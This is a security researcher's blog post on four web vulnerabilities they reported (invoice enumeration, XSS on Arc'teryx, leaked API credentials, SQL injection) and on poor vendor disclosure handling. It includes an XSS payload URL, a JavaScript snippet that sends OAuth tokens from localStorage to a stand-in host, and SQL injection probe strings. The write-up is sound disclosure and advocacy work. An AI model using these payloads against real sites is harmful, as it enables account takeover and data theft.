We all pay for organisations failing at security

Introduction

Reporting vulnerabilities a decade ago

Between 2013 and 2017, I was sending out numerous bug reports on web vulnerabilities per day to website owners. I wrote Google dorks and used existing tools mostly to spot if a particular app was vulnerable.

In some ways, the state of (web) security was a bit different back then. “security.txt” (RFC 9116) didn’t exist, the first GDPR proposal just got released and would only go into effect much later in 2018, legal reporting obligations of data breaches were not a thing yet.

Finding an impactful vulnerability can be trivial at times, but the (vendor) disclosure process often was complex. The main hurdles I faced were:

1. Communicating the vulnerability with the right people at the organisation can be difficult. External security channels often did not exist, and a clear process to handle security reports did not exist.
2. Spending time trying to communicate a vulnerability might not be worth it. Chances were high that you wouldn’t even receive a reply, bug bounties were atypical for many organisations, there’s a risk of getting threatened, arrested and searched and sometimes the process of communicating a vulnerability can be exhausting.

In 2012, HackerOne was founded and it tackled these challenges to a degree. It enabled security researchers/hackers and organisations to find eachother and cooperate through their platform, while offering incentives for both sides. Around the same time, some of the tech giants (e.g. Google and Meta) launched their bug bounty programs.

Reporting vulnerabilities today

It’s been a long while since I actively planned to hunt for bug bounties. However, I still frequently stumble upon vulnerabilities. If a vulnerability is serious or interesting enough, I make an effort to report them.

Persistent challenges

Despite a decade of increased information security awareness and stricter regulations, a critical weakness persists in many organisations: the inability to effectively handle vulnerability disclosures. This challenge also persists in prominent vendor Coordinated Vulnerability Disclosure (CVD) programs, as recently discussed in this ZDI blog.

I believe that ineffective disclosure processes lead to net negative outcomes over time: Security researchers become disincentivised to report to the organisation, as such vulnerabilities go unnoticed or are mishandled by the company for extended periods of time. Products may remain vulnerable for extended periods, increasing the likelihood of data breaches and system compromises affecting users. In this scenario, all stakeholders pay.

This post will present four recent vulnerabilities I’ve encountered, highlighting both their commonality and often superficial nature. I’ll then describe the reporting process to provide insight into some of the current practices.

My goal is to point out a set of issues and suggest improvements to promote a more collaborative and effective vulnerability management process that benefits all parties.

Real-world, shallow vulnerabilities

While I’ll present these vulnerabilities accurately, I sometimes choose to omit clear identifiers to protect the affected websites as some issues remain unresolved.

1. Travel organisation leaking customer data

Recently I booked a our trip through a travel organisation.

The vulnerability

I received an e-mail with the following info:

Thank you for your booking, view your invoice via this link: https://www.example.org/invoice_details?id=1704063600

Viewing the invoice did not require any additional authorization other than knowing the invoice ID. The provided access to information including our trip dates, government names and addresses details. The id=1704063600 looks like unix time. I changed it to a nearby timestamp, such as id=1690840800 and found that the system returned information from another customer.

It appears that the backend selects the nearest invoice (within a specified range) to the timestamp provided in the id…

A more secure implementation would be to leverage a CSPRNG for generating these IDs—for example, in Python, this could be a one-liner with secrets.token_urlsafe(32).

Reporting process

I don’t want the info, which also includes my details, exposed. I reported this issue and, after a month of no response, sent a reminder. Eventually, I received a reply stating that the matter had been forwarded to IT and that they strongly intend to fix the vulnerability within the coming months.

However, more than six months have passed, and this info leak still persists. Ultimately, I lost trust in their ability to protect my data and requested the removal of my data under the “right to be forgotten” as stipulated by the GDPR.

Update September, 2024: After my data was never removed even after the legal period of one month, I decided to file a complaint with the national Data Protection Authority (DPA) concerning the dataleak and the GDPR “right to be forgotten”. After one month, the DPA sent me a formal response stating they would not investigate either complaint due to resource constraints. They explained that technical investigations into company data practices are too resource-intensive given their current budget and capacity. Apparently, this DPA receives over 20k data breach notifications annually, and over 10k complaints. However, they have sent the company guidance on applicable rules and are in contact with them about protecting the accessible data. I may file an objection to the DPA if I disagree with their decision.

I find the response of the DPA clear and their actions reasonable given their constraints. However, this also highlights the broader issue: organisations’ poor security practices create costs borne by everyone- including the DPA. The high volume of breach notifications they receive further suggests that many organisations struggle with data protection.

Update November, 2024: Yay, I decided to check this again after months and my data is not available anymore. I probably owe some thanks to the national DPA.

2. XSS on Arc’teryx

While browsing Arc’teryx, by looking at the URL and quickly trying something, I found a trivial reflected DOM XSS.

The vulnerability

The search query string was vulnerable, allowing arbitrary HTML and JavaScript to be injected into the DOM:

/?search=-a&categories=<img src="x" onerror="print();">

XSS, in the context of a user session, is often simply equivalent to session/account takeover. One just has to code the logic to make a victim session perform certain actions. However, for many XSS cases, as soon as the victim navigates to other pages, control over the victim session is lost. In other words, XSS alone often offers little (session) persistence¹.

On arcteryx.com, authorization uses OAuth2 with JWT as the token format. The access_token is passed through Bearer Authorization and provides access to Arc’teryx resources. The client can generate new access tokens by sending the refresh_token to the IdP.

The web app has been designed such that the access_token, id_token and refresh_token are stored in a JSON object within LocalStorage (a local persistent KV store used by the browser). The browser can access this store through JavaScript. Though the added protection of the HttpOnly-flag has long been disputed, Web Storage does not have a similar protection option. Therefore, XSS can be used here to exfiltrate user OAuth tokens via this vector, like this for example:

1const user_oauth = localStorage.getItem('forgerock-sdk-arcSdkClient');
2const response = await fetch("https://www.example.org/", {
3  method: 'POST',
4  mode: 'no-cors',
5  headers: {
6    'Content-Type': 'application/json'
7  },
8  body: user_oauth
9});

One could basically replace the print() function in the earlier URL query string with a JavaScript payload, trick an Arc’teryx user into loading the page, and then exfiltrate their OAuth tokens. This would enable persistent access to their account. In (POC) practice, I used this payload inside document.write() to prevent automatic DOM updates from inadvertently removing the XSS otherwise.

This XSS could have been prevented by encoding the reflected data appropriately.

Reporting process

Reporting the vulnerability was a lengthy and exhausting process.

I first contacted Amer Sports (parent company of Arc’teryx) on April 29, 2024, using the email address listed in their security.txt file. On May 13, they informed me they don’t have a formal bug bounty program but appreciate vulnerability reports. I sent a detailed report two days later.

After reporting the issue, I didn’t hear back for nearly two weeks, so I followed up on May 27. Despite receiving no response, I noticed that a fix for the security flaw was shipped in early June. I reached out again on June 14 and finally received a reply on June 18. They thanked me and stated that Amer Sports/Arc’teryx does not offer compensation.

I reported this issue, fully aware that they do not have a formal bug bounty program. However, I was disappointed to receive no response for weeks and then find out independently that the issue had been patched. In my opinion, this lack of communication does not encourage researchers to contribute to their security efforts, even though Arc’teryx can clearly use the support.

This could potentially be related to an internal feedback loop problem— the security team communicates with the development team, a bug ticket is created, and while the development team addresses the issue, they do not provide feedback to the security team. In any case, this highlights that creating a communication channel, e.g., through security.txt, is only one part of an effective process.

3. Global delivery company tracking flaw

A few weeks ago, I wanted to buy a product that was almost impossible to find at retail stores. However, I believe I found the last retailer selling the product… located on another continent.

The vulnerability

I bought the product and received an e-mail soon after:

Your order is on its way! Track and trace: https://www.example.org/track?tracking_id=2388303421453

The tracking page was unusually slow and I checked out the browser Network-tab, which led me to find some extraordinary API-calls, which originated from this piece of code:

 1const url_params = new URLSearchParams(window.location.search);
 2track_package(url_params.get('tracking_id'));
 3
 4function track_package(tracking_id) {
 5  var xhr = new XMLHttpRequest();
 6  var url = 'https://tracking_api.example.org';
 7  xhr.open('POST', url, true);
 8
 9  xhr.onload = function () {
10    // Change the DOM to contain tracking info.
11  };
12
13  var data = JSON.stringify({
14    tracking_id: tracking_id, 
15    email: '[email protected]',
16    password: 'hunter2'
17  });
18
19  xhr.send(data);
20}

The credentials grant access to the shipment management portal of the company. Besides managing orders, it allows changing credentials, which would invalidate the existing (likely hardcoded) credentials and break customer track and trace functionality…

Did no one spot this before (or did no one bother reporting this)?

Reporting process

The company does not list any security contact details, so on June 14, 2024, I contacted customer service to ask where to report a vulnerability. After two weeks, I was asked to share the details via email, which I did. They then forwarded the information to the relevant team. I reached out after a couple of weeks to check if this is still on their radar and received a generic message:

We completely understand how aggravating this experience must have been for you. Your request has been forwarded to the concerned team, and they will assist you as soon as possible.

It’s a standard reply, I wasn’t aggravated at all. It seems to me that vulnerability reports are not understood via this channel, and a predefined process of handling reports like these is probably not in place.

This hasn’t been fixed.

Update August 17, 2024 (2 months+ after disclosure): Though I haven’t heard back from the company, the password has now been removed from their current webpage. The password hasn’t been updated though. As (web) archives do what archives do, a public password leak still exists…

4. SQL injection on a renting website

While working on this post, I wanted to rent a vehicle for a vacation. I was about to enter my details, but then decided do quickly check some things…

The vulnerability

Here’s the relevant part of the (example) URL:

/booking.cfm?date=01-08-2024&category=electric&brand=DeLorean

I usually modify URL parameter values directly to quickly search for specific dates for example. While I’m at it, I sometimes also add the classic ' or '1'='1 (or a variation) to test for basic SQL injection vulnerabilities on the fly. If this causes an increase in data displayed, consider ' order by n-- to enumerate the amount of columns the statement returns. These two are usually enough to confirm simple variants of this vulnerability (no bobby tables).

This could have been prevented using prepared statements.

Reporting process

Given my experience with unresolved vulnerabilities, I was hesitant to report this issue but did anyway.

So far, I haven’t received a substantive response, the issue persists, and I’m sure people continue to book daily through this vulnerable system. I didn’t book though, and I’m also not periodically checking up on this.

Thoughts and conclusion

For some organisations, security may rank very low on the priority list. Consider a small business that hires a one-off contractor to develop a sales website, and then never updates it. While this might be understandable for small businesses, it should not be acceptable. For large, multi-billion-dollar companies managing vast amounts of customer data, neglecting security is indefensible. The impact of such negligence extends beyond the organisation itself, with end-users at the bottom of the hierarchy.

A contact is a start, but not the whole answer

In the Netherlands, government organisations are mandated to implement security.txt, among other standards, or explain why they deviate from this. A 2023 study from van Hove et al. suggests that mandating this helps, as it removes the initial barrier to communication, though it does not guarantee effective response processes. The authors strongly believe that requiring more organizations to implement vulnerability disclosure programs (VDPs), possibly in line with current standards like ISO 29147:2018 or EUCC, would significantly improve the handling of notifications.

Programs that deliver value

A proper VDP/CVD can be highly beneficial for many companies, though it requires effort. Public programs often yield a mix of valuable reports and less relevant “noise”, which need to be evaluated and filtered.

Developing a robust process for report evaluation and communication is therefore crucial. By sharing relevant insights with key stakeholders, such as engineering managers, the known operational issues can be addressed. Over time, this enables you to drive additional value by integrating recurring issues and insights into your Software Development Life Cycle (SDLC), creating an improvement loop. Walshe and Simpson’s study offers valuable insights into the challenges and strategies for managing CVD programs. Their recommendations are clear and worth reviewing if you are considering or currently operating such a program.

Therefore, I believe it would be advantageous for more companies to proactively implement disclosure channels and cooperate with reporters of impactful vulnerabilities. This not only enhances system security and aids in preventing breaches. It also fosters improved development practices over time and demonstrates a serious dedication to safeguarding customer information.

Finally, in my view, publicly incentivising bug reports (e.g., through bug bounty programs) amplifies all types of reports, both the good and the bad. While I advocate for companies to establish processes for handling reported vulnerabilities, I don’t believe that every company should also implement a bounty program- I think it’s more nuanced than that.

Update December, 2024 The Minestry of Justice in Germany recently drafted a law to provide legal protections to security researchers who responsibly report vulnerabilities to vendors. I believe that this too is an important step in the right direction.

My end user perspective

Looking ahead, I plan to minimise the companies that I trust with my data, and to keep my initial vulnerability reports minimal. This makes the reporting process manageable for me. If an organisation demonstrates a commitment to resolving issues, we can build from there.